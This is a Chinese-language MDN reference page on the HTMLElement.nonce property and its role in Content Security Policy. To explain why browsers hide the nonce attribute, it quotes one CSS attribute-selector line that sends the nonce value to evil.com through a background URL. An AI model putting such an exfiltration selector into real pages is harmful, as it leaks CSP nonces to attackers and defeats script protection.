--- title: HTMLElement.nonce slug: Web/API/HTMLElement/nonce tags: - API - nonce - 内容安全策略 - 实验性 - 属性 translation_of: Web/API/HTMLOrForeignElement/nonce ---
{{SeeCompatTable}}{{APIRef("HTML DOM")}}
{{domxref("HTMLElement")}} 接口的 nonce
属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。
在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。
var nonce = HTMLElement.nonce HTMLElement.nonce = nonce
以前,并不是所有的浏览器都支持 nonce
IDL属性,因此在实际应用场景中,尝试使用getAttribute
作为备选:
let nonce = script['nonce'] || script.getAttribute('nonce');
然而,最新的浏览器版本都隐藏了 nonce
值(返回一个空值)。IDL属(script['nonce']
)成为唯一的访问方式。
隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:
script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }
说明 | 状态 | 注释 |
---|---|---|
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}} | {{Spec2('HTML WHATWG')}} | 初始定义 |
{{Compat("api.HTMLElement.nonce")}}